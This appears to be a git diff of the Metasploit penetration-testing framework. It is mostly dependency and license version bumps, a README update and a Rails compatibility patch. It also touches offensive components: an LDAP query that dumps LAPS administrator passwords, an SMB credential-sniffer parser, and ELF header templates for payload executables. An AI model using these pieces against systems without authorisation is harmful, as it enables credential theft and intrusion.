rack (~> 2.0, >= 2.2.4)
actionpack (7.2.2.1)
actionview (= 7.2.2.1)
activesupport (= 7.2.2.1)
nokogiri (>= 1.8.5)
racc
rack (>= 2.2.4, < 3.2)
rack-session (>= 1.0.1)
rack-test (>= 0.6.3)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.0, >= 1.2.0)
actionview (7.0.8.7)
activesupport (= 7.0.8.7)
rails-dom-testing (~> 2.2)
rails-html-sanitizer (~> 1.6)
useragent (~> 0.16)
actionview (7.2.2.1)
activesupport (= 7.2.2.1)
builder (~> 3.1)
erubi (~> 1.4)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.1, >= 1.2.0)
activemodel (7.0.8.7)
activesupport (= 7.0.8.7)
activerecord (7.0.8.7)
activemodel (= 7.0.8.7)
activesupport (= 7.0.8.7)
activesupport (7.0.8.7)
concurrent-ruby (~> 1.0, >= 1.0.2)
erubi (~> 1.11)
rails-dom-testing (~> 2.2)
rails-html-sanitizer (~> 1.6)
activemodel (7.2.2.1)
activesupport (= 7.2.2.1)
activerecord (7.2.2.1)
activemodel (= 7.2.2.1)
activesupport (= 7.2.2.1)
timeout (>= 0.4.0)
activesupport (7.2.2.1)
base64
benchmark (>= 0.3)
bigdecimal
concurrent-ruby (~> 1.0, >= 1.3.1)
connection_pool (>= 2.2.5)
drb
i18n (>= 1.6, < 2)
logger (>= 1.4.2)
minitest (>= 5.1)
tzinfo (~> 2.0)
securerandom (>= 0.3)
tzinfo (~> 2.0, >= 2.0.5)
addressable (2.8.7)
public_suffix (>= 2.0.2, < 7.0)
afm (0.2.2)
@@ -158,7 +174,7 @@ GEM
rspec-expectations (~> 3.12)
arel-helpers (2.16.0)
activerecord (>= 3.1.0, < 8.1)
ast (2.4.2)
ast (2.4.3)
aws-eventstream (1.3.2)
aws-partitions (1.1065.0)
aws-sdk-core (3.220.1)
@@ -191,8 +207,8 @@ GEM
base64 (0.2.0)
bcrypt (3.1.20)
bcrypt_pbkdf (1.1.1)
benchmark (0.4.0)
bigdecimal (3.1.9)
benchmark (0.4.1)
bigdecimal (3.2.2)
bindata (2.4.15)
bootsnap (1.18.4)
msgpack (~> 1.2)
@@ -201,23 +217,24 @@ GEM
byebug (11.1.3)
chunky_png (1.4.0)
coderay (1.1.3)
concurrent-ruby (1.3.4)
concurrent-ruby (1.3.5)
connection_pool (2.5.3)
cookiejar (0.3.4)
crass (1.0.6)
csv (3.3.2)
daemons (1.4.1)
date (3.4.1)
debug (1.8.0)
irb (>= 1.5.0)
reline (>= 0.3.1)
diff-lcs (1.6.0)
debug (1.10.0)
irb (~> 1.10)
reline (>= 0.3.8)
diff-lcs (1.6.2)
dnsruby (1.72.4)
base64 (~> 0.2.0)
logger (~> 1.6.5)
simpleidn (~> 0.2.1)
docile (1.4.1)
domain_name (0.6.20240107)
drb (2.2.1)
drb (2.2.3)
ed25519 (1.3.0)
elftools (1.3.1)
bindata (~> 2)
@@ -230,13 +247,14 @@ GEM
em-socksify (0.3.3)
base64
eventmachine (>= 1.0.0.beta.4)
erb (5.0.2)
erubi (1.13.1)
eventmachine (1.2.7)
factory_bot (6.5.1)
factory_bot (6.5.4)
activesupport (>= 6.1.0)
factory_bot_rails (6.4.4)
factory_bot_rails (6.5.0)
factory_bot (~> 6.5)
railties (>= 5.0.0)
railties (>= 6.1.0)
faker (3.5.1)
i18n (>= 1.8.11, < 2)
faraday (2.7.11)
@@ -272,45 +290,65 @@ GEM
mutex_m
i18n (1.14.7)
concurrent-ruby (~> 1.0)
io-console (0.8.0)
io-console (0.8.1)
ipaddr (1.2.7)
irb (1.7.4)
reline (>= 0.3.6)
irb (1.15.2)
pp (>= 0.6.0)
rdoc (>= 4.0.0)
reline (>= 0.4.2)
jmespath (1.6.2)
jsobfu (0.4.2)
rkelly-remix
json (2.10.2)
language_server-protocol (3.17.0.4)
language_server-protocol (3.17.0.5)
license_finder (5.11.1)
bundler
rubyzip (>= 1, < 3)
thor
toml (= 0.2.0)
with_env (= 1.1.0)
xml-simple
lint_roller (1.1.0)
little-plugger (1.1.4)
logger (1.6.6)
logging (2.4.0)
little-plugger (~> 1.1)
multi_json (~> 1.14)
loofah (2.24.0)
loofah (2.24.1)
crass (~> 1.0.2)
nokogiri (>= 1.12.0)
lru_redux (1.1.0)
memory_profiler (1.1.0)
metasm (1.0.5)
metasploit-concern (5.0.4)
metasploit-concern (5.0.5)
activemodel (~> 7.0)
activesupport (~> 7.0)
drb
mutex_m
railties (~> 7.0)
zeitwerk
metasploit-credential (6.0.14)
metasploit-credential (6.0.16)
bigdecimal
csv
drb
metasploit-concern
metasploit-model
metasploit_data_models (>= 5.0.0)
mutex_m
net-ssh
pg
railties
rex-socket
rubyntlm
rubyzip
metasploit-model (5.0.3)
metasploit-model (5.0.4)
activemodel (~> 7.0)
activesupport (~> 7.0)
bigdecimal
drb
mutex_m
railties (~> 7.0)
metasploit-payloads (2.0.189)
metasploit-payloads (2.0.221)
metasploit_data_models (6.0.9)
activerecord (~> 7.0)
activesupport (~> 7.0)
@@ -321,13 +359,13 @@ GEM
railties (~> 7.0)
recog
webrick
metasploit_payloads-mettle (1.0.35)
metasploit_payloads-mettle (1.0.45)
method_source (1.1.0)
mime-types (3.6.0)
logger
mime-types-data (~> 3.2015)
mime-types-data (3.2025.0304)
mini_portile2 (2.8.8)
mini_portile2 (2.8.9)
minitest (5.25.5)
mqtt (0.6.0)
msgpack (1.6.1)
@@ -350,7 +388,7 @@ GEM
network_interface (0.0.4)
nexpose (7.3.0)
nio4r (2.7.4)
nokogiri (1.18.3)
nokogiri (1.18.9)
mini_portile2 (~> 2.8.2)
racc (~> 1.4)
nori (2.7.1)
@@ -364,10 +402,11 @@ GEM
ostruct (0.6.1)
packetfu (2.0.0)
pcaprub (~> 0.13.1)
parallel (1.26.3)
parser (3.3.7.1)
parallel (1.27.0)
parser (3.3.8.0)
ast (~> 2.4.1)
racc
parslet (1.8.2)
patch_finder (1.0.2)
pcaprub (0.13.3)
pdf-reader (2.14.1)
@@ -377,46 +416,62 @@ GEM
ruby-rc4
ttfunk
pg (1.5.9)
pp (0.6.2)
prettyprint
prettyprint (0.2.0)
prism (1.4.0)
pry (0.14.2)
coderay (~> 1.1)
method_source (~> 1.0)
pry-byebug (3.10.1)
byebug (~> 11.0)
pry (>= 0.13, < 0.15)
psych (5.2.6)
date
stringio
public_suffix (6.0.1)
puma (6.6.0)
nio4r (~> 2.0)
racc (1.8.1)
rack (2.2.13)
rack (2.2.17)
rack-protection (3.2.0)
base64 (>= 0.1.0)
rack (~> 2.2, >= 2.2.4)
rack-session (1.0.2)
rack (< 3)
rack-test (2.2.0)
rack (>= 1.3)
rails-dom-testing (2.2.0)
rackup (1.0.1)
rack (< 3)
webrick
rails-dom-testing (2.3.0)
activesupport (>= 5.0.0)
minitest
nokogiri (>= 1.6)
rails-html-sanitizer (1.6.2)
loofah (~> 2.21)
nokogiri (>= 1.15.7, != 1.16.7, != 1.16.6, != 1.16.5, != 1.16.4, != 1.16.3, != 1.16.2, != 1.16.1, != 1.16.0.rc1, != 1.16.0)
railties (7.0.8.7)
actionpack (= 7.0.8.7)
activesupport (= 7.0.8.7)
method_source
railties (7.2.2.1)
actionpack (= 7.2.2.1)
activesupport (= 7.2.2.1)
irb (~> 1.13)
rackup (>= 1.0.0)
rake (>= 12.2)
thor (~> 1.0)
zeitwerk (~> 2.5)
thor (~> 1.0, >= 1.2.2)
zeitwerk (~> 2.6)
rainbow (3.1.1)
rake (13.2.1)
rake (13.3.0)
rasn1 (0.14.0)
strptime (~> 0.2.5)
rb-readline (0.5.5)
rdoc (6.14.2)
erb
psych (>= 4.0.0)
recog (3.1.14)
nokogiri
redcarpet (3.6.1)
regexp_parser (2.10.0)
reline (0.6.0)
reline (0.6.2)
io-console (~> 0.5)
require_all (3.0.0)
rex-arch (0.1.18)
@@ -427,7 +482,7 @@ GEM
rex-core
rex-struct2
rex-text
rex-core (0.1.33)
rex-core (0.1.34)
rex-encoder (0.1.8)
metasm
rex-arch
@@ -446,26 +501,29 @@ GEM
rex-arch
rex-ole (0.1.9)
rex-text
rex-powershell (0.1.101)
rex-powershell (0.1.103)
bigdecimal
rex-random_identifier
rex-text
ruby-rc4
rex-random_identifier (0.1.15)
rex-random_identifier (0.1.20)
bigdecimal
rex-text
rex-registry (0.1.6)
rex-rop_builder (0.1.6)
metasm
rex-core
rex-text
rex-socket (0.1.60)
rex-socket (0.1.62)
dnsruby
rex-core
rex-sslscan (0.1.11)
rex-sslscan (0.1.13)
rex-core
rex-socket
rex-text
rex-struct2 (0.1.5)
rex-text (0.2.60)
rex-text (0.2.61)
bigdecimal
rex-zip (0.1.6)
rex-text
rexml (3.4.1)
@@ -478,44 +536,47 @@ GEM
rspec-core (~> 3.13.0)
rspec-expectations (~> 3.13.0)
rspec-mocks (~> 3.13.0)
rspec-core (3.13.3)
rspec-core (3.13.5)
rspec-support (~> 3.13.0)
rspec-expectations (3.13.3)
rspec-expectations (3.13.5)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.13.0)
rspec-mocks (3.13.2)
rspec-mocks (3.13.5)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.13.0)
rspec-rails (7.1.1)
actionpack (>= 7.0)
activesupport (>= 7.0)
railties (>= 7.0)
rspec-rails (8.0.1)
actionpack (>= 7.2)
activesupport (>= 7.2)
railties (>= 7.2)
rspec-core (~> 3.13)
rspec-expectations (~> 3.13)
rspec-mocks (~> 3.13)
rspec-support (~> 3.13)
rspec-rerun (1.1.0)
rspec (~> 3.0)
rspec-support (3.13.2)
rubocop (1.67.0)
rspec-support (3.13.4)
rubocop (1.75.7)
json (~> 2.3)
language_server-protocol (>= 3.17.0)
language_server-protocol (~> 3.17.0.2)
lint_roller (~> 1.1.0)
parallel (~> 1.10)
parser (>= 3.3.0.2)
rainbow (>= 2.2.2, < 4.0)
regexp_parser (>= 2.4, < 3.0)
rubocop-ast (>= 1.32.2, < 2.0)
regexp_parser (>= 2.9.3, < 3.0)
rubocop-ast (>= 1.44.0, < 2.0)
ruby-progressbar (~> 1.7)
unicode-display_width (>= 2.4.0, < 3.0)
rubocop-ast (1.38.1)
parser (>= 3.3.1.0)
unicode-display_width (>= 2.4.0, < 4.0)
rubocop-ast (1.44.1)
parser (>= 3.3.7.2)
prism (~> 1.4)
ruby-macho (4.1.0)
ruby-mysql (4.2.0)
ruby-prof (1.4.2)
ruby-prof (1.7.2)
base64
ruby-progressbar (1.13.0)
ruby-rc4 (0.1.5)
ruby2_keywords (0.0.5)
ruby_smb (3.3.13)
ruby_smb (3.3.15)
bindata (= 2.4.15)
openssl-ccm
openssl-cmac
@@ -527,6 +588,7 @@ GEM
sawyer (0.9.2)
addressable (>= 2.3.5)
faraday (>= 0.17.3, < 3)
securerandom (0.4.1)
simplecov (0.18.2)
docile (~> 1.1)
simplecov-html (~> 0.11)
@@ -540,25 +602,33 @@ GEM
sqlite3 (1.7.3)
mini_portile2 (~> 2.8.0)
sshkey (3.0.0)
stringio (3.1.1)
strptime (0.2.5)
swagger-blocks (3.0.0)
syslog (0.3.0)
logger
test-prof (1.4.4)
thin (1.8.2)
daemons (~> 1.0, >= 1.0.9)
eventmachine (~> 1.0, >= 1.0.4)
rack (>= 1, < 3)
thor (1.3.2)
thor (1.4.0)
tilt (2.6.0)
timecop (0.9.10)
timeout (0.4.3)
toml (0.2.0)
parslet (~> 1.8.0)
ttfunk (1.8.0)
bigdecimal (~> 3.1)
tzinfo (2.0.6)
concurrent-ruby (~> 1.0)
tzinfo-data (1.2025.1)
tzinfo (>= 1.0.0)
unicode-display_width (2.6.0)
unicode-display_width (3.1.4)
unicode-emoji (~> 4.0, >= 4.0.4)
unicode-emoji (4.0.4)
unix-crypt (1.3.1)
useragent (0.16.11)
warden (1.2.9)
rack (>= 2.0.9)
webrick (1.9.1)
@@ -578,13 +648,16 @@ GEM
nori (~> 2.0, >= 2.7.1)
rexml (~> 3.0)
rubyntlm (~> 0.6.0, >= 0.6.3)
with_env (1.1.0)
xdr (3.0.3)
activemodel (>= 4.2, < 8.0)
activesupport (>= 4.2, < 8.0)
xml-simple (1.1.9)
rexml
xmlrpc (0.3.3)
webrick
yard (0.9.37)
zeitwerk (2.7.2)
zeitwerk (2.7.3)
PLATFORMS
ruby
@@ -594,6 +667,7 @@ DEPENDENCIES
debug (>= 1.0.0)
factory_bot_rails
fivemat
license_finder (= 5.11.1)
memory_profiler
metasploit-framework!
octokit
@@ -602,12 +676,12 @@ DEPENDENCIES
redcarpet
rspec-rails
rspec-rerun
rubocop (= 1.67.0)
ruby-prof (= 1.4.2)
rubocop (= 1.75.7)
ruby-prof
simplecov (= 0.18.2)
test-prof
timecop
yard
BUNDLED WITH
2.5.10
2.5.22
+73 -52
View File
@@ -2,17 +2,17 @@ This file is auto-generated by tools/dev/update_gem_licenses.sh
Ascii85, 2.0.1, MIT
aarch64, 2.1.0, "Apache 2.0"
abbrev, 0.1.2, "ruby, Simplified BSD"
actionpack, 7.0.8.7, MIT
actionview, 7.0.8.7, MIT
activemodel, 7.0.8.7, MIT
activerecord, 7.0.8.7, MIT
activesupport, 7.0.8.7, MIT
actionpack, 7.2.2.1, MIT
actionview, 7.2.2.1, MIT
activemodel, 7.2.2.1, MIT
activerecord, 7.2.2.1, MIT
activesupport, 7.2.2.1, MIT
addressable, 2.8.7, "Apache 2.0"
afm, 0.2.2, MIT
allure-rspec, 2.26.0, "Apache 2.0"
allure-ruby-commons, 2.26.0, "Apache 2.0"
arel-helpers, 2.16.0, MIT
ast, 2.4.2, MIT
ast, 2.4.3, MIT
aws-eventstream, 1.3.2, "Apache 2.0"
aws-partitions, 1.1065.0, "Apache 2.0"
aws-sdk-core, 3.220.1, "Apache 2.0"
@@ -26,36 +26,38 @@ aws-sigv4, 1.11.0, "Apache 2.0"
base64, 0.2.0, "ruby, Simplified BSD"
bcrypt, 3.1.20, MIT
bcrypt_pbkdf, 1.1.1, MIT
benchmark, 0.4.0, "ruby, Simplified BSD"
bigdecimal, 3.1.9, "ruby, Simplified BSD"
benchmark, 0.4.1, "ruby, Simplified BSD"
bigdecimal, 3.2.2, "ruby, Simplified BSD"
bindata, 2.4.15, "Simplified BSD"
bootsnap, 1.18.4, MIT
bson, 5.0.2, "Apache 2.0"
builder, 3.3.0, MIT
bundler, 2.5.10, MIT
bundler, 2.5.22, MIT
byebug, 11.1.3, "Simplified BSD"
chunky_png, 1.4.0, MIT
coderay, 1.1.3, MIT
concurrent-ruby, 1.3.4, MIT
concurrent-ruby, 1.3.5, MIT
connection_pool, 2.5.3, MIT
cookiejar, 0.3.4, "Simplified BSD"
crass, 1.0.6, MIT
csv, 3.3.2, "ruby, Simplified BSD"
daemons, 1.4.1, MIT
date, 3.4.1, "ruby, Simplified BSD"
debug, 1.8.0, "ruby, Simplified BSD"
diff-lcs, 1.6.0, "MIT, Artistic-1.0-Perl, GPL-2.0-or-later"
debug, 1.10.0, "ruby, Simplified BSD"
diff-lcs, 1.6.2, "MIT, Artistic-1.0-Perl, GPL-2.0-or-later"
dnsruby, 1.72.4, "Apache 2.0"
docile, 1.4.1, MIT
domain_name, 0.6.20240107, "Simplified BSD, New BSD, Mozilla Public License 2.0"
drb, 2.2.1, "ruby, Simplified BSD"
drb, 2.2.3, "ruby, Simplified BSD"
ed25519, 1.3.0, MIT
elftools, 1.3.1, MIT
em-http-request, 1.1.7, MIT
em-socksify, 0.3.3, MIT
erb, 5.0.2, "ruby, Simplified BSD"
erubi, 1.13.1, MIT
eventmachine, 1.2.7, "ruby, GPL-2.0"
factory_bot, 6.5.1, MIT
factory_bot_rails, 6.4.4, MIT
factory_bot, 6.5.4, MIT
factory_bot_rails, 6.5.0, MIT
faker, 3.5.1, MIT
faraday, 2.7.11, MIT
faraday-net_http, 3.0.2, MIT
@@ -76,30 +78,33 @@ http-cookie, 1.0.8, MIT
http_parser.rb, 0.8.0, MIT
httpclient, 2.9.0, ruby
i18n, 1.14.7, MIT
io-console, 0.8.0, "ruby, Simplified BSD"
io-console, 0.8.1, "ruby, Simplified BSD"
ipaddr, 1.2.7, "ruby, Simplified BSD"
irb, 1.7.4, "ruby, Simplified BSD"
irb, 1.15.2, "ruby, Simplified BSD"
jmespath, 1.6.2, "Apache 2.0"
jsobfu, 0.4.2, "New BSD"
json, 2.10.2, ruby
language_server-protocol, 3.17.0.4, MIT
language_server-protocol, 3.17.0.5, MIT
license_finder, 5.11.1, MIT
lint_roller, 1.1.0, MIT
little-plugger, 1.1.4, MIT
logger, 1.6.6, "ruby, Simplified BSD"
logging, 2.4.0, MIT
loofah, 2.24.0, MIT
loofah, 2.24.1, MIT
lru_redux, 1.1.0, MIT
memory_profiler, 1.1.0, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 5.0.4, "New BSD"
metasploit-credential, 6.0.14, "New BSD"
metasploit-framework, 6.4.57, "New BSD"
metasploit-model, 5.0.3, "New BSD"
metasploit-payloads, 2.0.189, "3-clause (or ""modified"") BSD"
metasploit-concern, 5.0.5, "New BSD"
metasploit-credential, 6.0.16, "New BSD"
metasploit-framework, 6.4.89, "New BSD"
metasploit-model, 5.0.4, "New BSD"
metasploit-payloads, 2.0.221, "3-clause (or ""modified"") BSD"
metasploit_data_models, 6.0.9, "New BSD"
metasploit_payloads-mettle, 1.0.35, "3-clause (or ""modified"") BSD"
metasploit_payloads-mettle, 1.0.45, "3-clause (or ""modified"") BSD"
method_source, 1.1.0, MIT
mime-types, 3.6.0, MIT
mime-types-data, 3.2025.0304, MIT
mini_portile2, 2.8.8, MIT
mini_portile2, 2.8.9, MIT
minitest, 5.25.5, MIT
mqtt, 0.6.0, MIT
msgpack, 1.6.1, "Apache 2.0"
@@ -116,7 +121,7 @@ net-ssh, 7.3.0, MIT
network_interface, 0.0.4, MIT
nexpose, 7.3.0, "New BSD"
nio4r, 2.7.4, "MIT, Simplified BSD"
nokogiri, 1.18.3, MIT
nokogiri, 1.18.9, MIT
nori, 2.7.1, MIT
octokit, 4.25.1, MIT
openssl-ccm, 1.2.3, MIT
@@ -124,91 +129,105 @@ openssl-cmac, 2.0.2, MIT
openvas-omp, 0.0.4, MIT
ostruct, 0.6.1, "ruby, Simplified BSD"
packetfu, 2.0.0, "New BSD"
parallel, 1.26.3, MIT
parser, 3.3.7.1, MIT
parallel, 1.27.0, MIT
parser, 3.3.8.0, MIT
parslet, 1.8.2, MIT
patch_finder, 1.0.2, "New BSD"
pcaprub, 0.13.3, LGPL-2.1
pdf-reader, 2.14.1, MIT
pg, 1.5.9, "Simplified BSD"
pp, 0.6.2, "ruby, Simplified BSD"
prettyprint, 0.2.0, "ruby, Simplified BSD"
prism, 1.4.0, MIT
pry, 0.14.2, MIT
pry-byebug, 3.10.1, MIT
psych, 5.2.6, MIT
public_suffix, 6.0.1, MIT
puma, 6.6.0, "New BSD"
racc, 1.8.1, "ruby, Simplified BSD"
rack, 2.2.13, MIT
rack, 2.2.17, MIT
rack-protection, 3.2.0, MIT
rack-session, 1.0.2, MIT
rack-test, 2.2.0, MIT
rails-dom-testing, 2.2.0, MIT
rackup, 1.0.1, MIT
rails-dom-testing, 2.3.0, MIT
rails-html-sanitizer, 1.6.2, MIT
railties, 7.0.8.7, MIT
railties, 7.2.2.1, MIT
rainbow, 3.1.1, MIT
rake, 13.2.1, MIT
rake, 13.3.0, MIT
rasn1, 0.14.0, MIT
rb-readline, 0.5.5, BSD
rdoc, 6.14.2, ruby
recog, 3.1.14, unknown
redcarpet, 3.6.1, MIT
regexp_parser, 2.10.0, MIT
reline, 0.6.0, ruby
reline, 0.6.2, ruby
require_all, 3.0.0, MIT
rex-arch, 0.1.18, "New BSD"
rex-bin_tools, 0.1.10, "New BSD"
rex-core, 0.1.32, "New BSD"
rex-core, 0.1.34, "New BSD"
rex-encoder, 0.1.8, "New BSD"
rex-exploitation, 0.1.41, "New BSD"
rex-java, 0.1.8, "New BSD"
rex-mime, 0.1.11, "New BSD"
rex-nop, 0.1.4, "New BSD"
rex-ole, 0.1.9, "New BSD"
rex-powershell, 0.1.101, "New BSD"
rex-random_identifier, 0.1.15, "New BSD"
rex-powershell, 0.1.103, "New BSD"
rex-random_identifier, 0.1.20, "New BSD"
rex-registry, 0.1.6, "New BSD"
rex-rop_builder, 0.1.6, "New BSD"
rex-socket, 0.1.59, "New BSD"
rex-sslscan, 0.1.11, "New BSD"
rex-socket, 0.1.62, "New BSD"
rex-sslscan, 0.1.13, "New BSD"
rex-struct2, 0.1.5, "New BSD"
rex-text, 0.2.60, "New BSD"
rex-text, 0.2.61, "New BSD"
rex-zip, 0.1.6, "New BSD"
rexml, 3.4.1, "Simplified BSD"
rinda, 0.2.0, "ruby, Simplified BSD"
rkelly-remix, 0.0.7, MIT
rspec, 3.13.0, MIT
rspec-core, 3.13.3, MIT
rspec-expectations, 3.13.3, MIT
rspec-mocks, 3.13.2, MIT
rspec-rails, 7.1.1, MIT
rspec-core, 3.13.5, MIT
rspec-expectations, 3.13.5, MIT
rspec-mocks, 3.13.5, MIT
rspec-rails, 8.0.1, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.13.2, MIT
rubocop, 1.67.0, MIT
rubocop-ast, 1.38.1, MIT
rspec-support, 3.13.4, MIT
rubocop, 1.75.7, MIT
rubocop-ast, 1.44.1, MIT
ruby-macho, 4.1.0, MIT
ruby-mysql, 4.2.0, MIT
ruby-prof, 1.4.2, "Simplified BSD"
ruby-prof, 1.7.2, "Simplified BSD"
ruby-progressbar, 1.13.0, MIT
ruby-rc4, 0.1.5, MIT
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
ruby_smb, 3.3.13, "New BSD"
ruby_smb, 3.3.15, "New BSD"
rubyntlm, 0.6.5, MIT
rubyzip, 2.4.1, "Simplified BSD"
sawyer, 0.9.2, MIT
securerandom, 0.4.1, "ruby, Simplified BSD"
simplecov, 0.18.2, MIT
simplecov-html, 0.13.1, MIT
simpleidn, 0.2.3, MIT
sinatra, 3.2.0, MIT
sqlite3, 1.7.3, "New BSD"
sshkey, 3.0.0, MIT
stringio, 3.1.1, "ruby, Simplified BSD"
strptime, 0.2.5, "Simplified BSD"
swagger-blocks, 3.0.0, MIT
syslog, 0.3.0, "ruby, Simplified BSD"
test-prof, 1.4.4, MIT
thin, 1.8.2, "GPL-2.0+, ruby"
thor, 1.3.2, MIT
thor, 1.4.0, MIT
tilt, 2.6.0, MIT
timecop, 0.9.10, MIT
timeout, 0.4.3, "ruby, Simplified BSD"
toml, 0.2.0, MIT
ttfunk, 1.8.0, "Nonstandard, GPL-2.0-only, GPL-3.0-only"
tzinfo, 2.0.6, MIT
tzinfo-data, 1.2025.1, MIT
unicode-display_width, 2.6.0, MIT
unicode-display_width, 3.1.4, MIT
unicode-emoji, 4.0.4, MIT
unix-crypt, 1.3.1, 0BSD
useragent, 0.16.11, MIT
warden, 1.2.9, MIT
webrick, 1.9.1, "ruby, Simplified BSD"
websocket-driver, 0.7.7, "Apache 2.0"
@@ -216,7 +235,9 @@ websocket-extensions, 0.1.5, "Apache 2.0"
win32api, 0.1.0, unknown
windows_error, 0.1.5, BSD
winrm, 2.3.9, "Apache 2.0"
with_env, 1.1.0, MIT
xdr, 3.0.3, "Apache 2.0"
xml-simple, 1.1.9, MIT
xmlrpc, 0.3.3, "ruby, Simplified BSD"
yard, 0.9.37, MIT
zeitwerk, 2.7.2, MIT
zeitwerk, 2.7.3, MIT
+8 -1
View File
@@ -18,7 +18,14 @@ Submit bugs and feature requests via the [GitHub Issues](https://github.com/rapi
For information on writing modules, refer to the [API Documentation](https://docs.metasploit.com/api/).
## Support and Communication
For questions and suggestions, join the Freenode IRC channel or contact the metasploit-hackers mailing list.
For questions and suggestions, you can:
- Join our [GitHub Discussions](https://github.com/rapid7/metasploit-framework/discussions) for community support and general questions
- Join the [Metasploit Slack](https://join.slack.com/t/metasploit/shared_invite/zt-30i688it0-mJsFGT44IMtdeZi1DraamQ) for real-time chat
- Submit [GitHub Issues](https://github.com/rapid7/metasploit-framework/issues) for bug reports and feature requests
- Follow [@metasploit](https://x.com/metasploit) on X or [@metasploit@infosec.exchange](https://infosec.exchange/@metasploit) on Mastodon for updates
**Note:** Some community members may still use IRC channels and the metasploit-hackers mailing list, though the primary support channels are now GitHub Discussions and Slack.
## Installing Metasploit
+22 -11
View File
@@ -4,6 +4,26 @@ Fiddle.const_set(:VERSION, '0.0.0') unless Fiddle.const_defined?(:VERSION)
require 'rails'
require File.expand_path('../boot', __FILE__)
require 'action_view'
# Monkey patch https://github.com/rails/rails/blob/v7.2.2.1/actionview/lib/action_view/helpers/tag_helper.rb#L51
# Might be fixed by 8.x https://github.com/rails/rails/blob/v8.0.2/actionview/lib/action_view/helpers/tag_helper.rb#L51C1-L52C1
raise unless ActionView::VERSION::STRING == '7.2.2.1' # A developer will need to ensure this is still required when bumping rails
module ActionView::Helpers::TagHelper
class TagBuilder
def self.define_element(name, code_generator:, method_name: name.to_s.underscore)
code_generator.define_cached_method(method_name, namespace: :tag_builder) do |batch|
# Fixing a bug introduced by Metasploit's global Kernel patch: https://github.com/rapid7/metasploit-framework/blob/ae1db09f32cd04c007dbf445cf16dc22c9fc2e53/lib/rex.rb#L74-L79
# which fails when using the below 'instance_methods.include?(method_name.to_sym)' check
batch.push(<<~RUBY) # unless instance_methods.include?(method_name.to_sym)
def #{method_name}(content = nil, escape: true, **options, &block)
tag_string("#{name}", content, options, escape: escape, &block)
end
RUBY
end
end
end
end
all_environments = [
:development,
:production,
@@ -41,18 +61,9 @@ module Metasploit
config.paths['config/database'] = [Metasploit::Framework::Database.configurations_pathname.try(:to_path)]
config.autoloader = :zeitwerk
case Rails.env
when "development"
config.eager_load = false
when "test"
config.eager_load = false
when "production"
config.eager_load = false
end
config.load_defaults 7.2
if ActiveRecord.respond_to?(:legacy_connection_handling=)
ActiveRecord.legacy_connection_handling = false
end
config.eager_load = false
end
end
end
@@ -249,7 +249,7 @@ queries:
- https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf
- https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
- action: ENUM_LAPS_PASSWORDS
description: 'Dump info about computers that have LAPS enabled, and passwords for them if available.'
description: 'Dump info about computers that have LAPS v1 enabled, and passwords for them if available.'
filter: '(ms-MCS-AdmPwd=*)'
attributes:
- cn
@@ -395,4 +395,4 @@ queries:
- dNSHostname
- msSMSSiteCode
references:
- https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/RECON/RECON-1/recon-1_description.md
- https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/RECON/RECON-1/recon-1_description.md
+3 -3
View File
@@ -185,19 +185,19 @@ class SnifferSMB < BaseProtocolParser
report_note(
:host => src_ip,
:type => "smb_peer_os",
:data => s[:peer_os]
:data => { :peer_os => s[:peer_os] }
) if (s[:peer_os] and s[:peer_os].strip.length > 0)
report_note(
:host => src_ip,
:type => "smb_peer_lm",
:data => s[:peer_lm]
:data => { :peer_lm => s[:peer_lm] }
) if (s[:peer_lm] and s[:peer_lm].strip.length > 0)
report_note(
:host => src_ip,
:type => "smb_domain",
:data => s[:domain]
:data => { :domain => s[:domain] }
) if (s[:domain] and s[:domain].strip.length > 0)
end
+6
View File
@@ -67,6 +67,8 @@
<% description = "Module may cause a noise (Examples: audio output from the speakers or hardware beeps)." %>
<% elsif side_effect == "physical-effects" %>
<% description = "Module may produce physical effects (Examples: the device makes movement or flashes LEDs)." %>
<% elsif side_effect == "unknown-side-effects" %>
<% description = "Module side effects are unknown." %>
<% end %>
* **<%= side_effect %>:** <%= description %>
@@ -85,6 +87,8 @@
<% description = "The module isn't expected to get a shell reliably (such as only once)." %>
<% elsif reliability == "event-dependent" %>
<% description = "The module may not execute the payload until an external event occurs. For instance, a cron job, machine restart, user interaction within a GUI element, etc." %>
<% elsif reliability == "unknown-reliability" %>
<% description = "Module reliability is unknown." %>
<% end %>
* **<%= reliability %>:** <%= description %>
@@ -109,6 +113,8 @@
<% description = "Module may cause a resource (such as a file or data in a database) to be unavailable for the service." %>
<% elsif stability == "os-resource-loss" %>
<% description = "Modules may cause a resource (such as a file) to be unavailable for the OS." %>
<% elsif stability == "unknown-stability" %>
<% description = "Module stability is unknown." %>
<% end %>
* **<%= stability %>:** <%= description %>
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,35 @@
BITS 64
ehdr: ; Elf32_Ehdr
db 0x7F, "ELF", 2, 2, 1, 0 ; e_ident
db 0, 0, 0, 0, 0, 0, 0, 0 ;
dw 0x0200 ; e_type = ET_EXEC for an executable
dw 0x1500 ; e_machine = PPC64
dd 0x01000000 ; e_version
dq 0x7810000000000000 ; e_entry
dq 0x4000000000000000 ; e_phoff
dq 0 ; e_shoff
dd 0 ; e_flags
dw 0x4000 ; e_ehsize
dw 0x3800 ; e_phentsize
dw 0x0100 ; e_phnum
dw 0 ; e_shentsize
dw 0 ; e_shnum
dw 0 ; e_shstrndx
ehdrsize equ $ - ehdr
phdr: ; Elf32_Phdr
dd 0x01000000 ; p_type = pt_load
dd 0x07000000 ; p_flags = rwx
dq 0 ; p_offset
dq 0x0010000000000000 ; p_vaddr
dq 0x0010000000000000 ; p_paddr
dq 0xefbeadde ; p_filesz
dq 0xefbeadde ; p_memsz
dq 0x0000100000000000 ; p_align
phdrsize equ $ - phdr
_start:
dq 0x8010000000000000
+42
View File
@@ -0,0 +1,42 @@
; build with:
; nasm elf_x64_template.s -f bin -o template_x64_linux.bin
BITS 64
org 0x0000000000400000
ehdr: ; Elf64_Ehdr
db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident
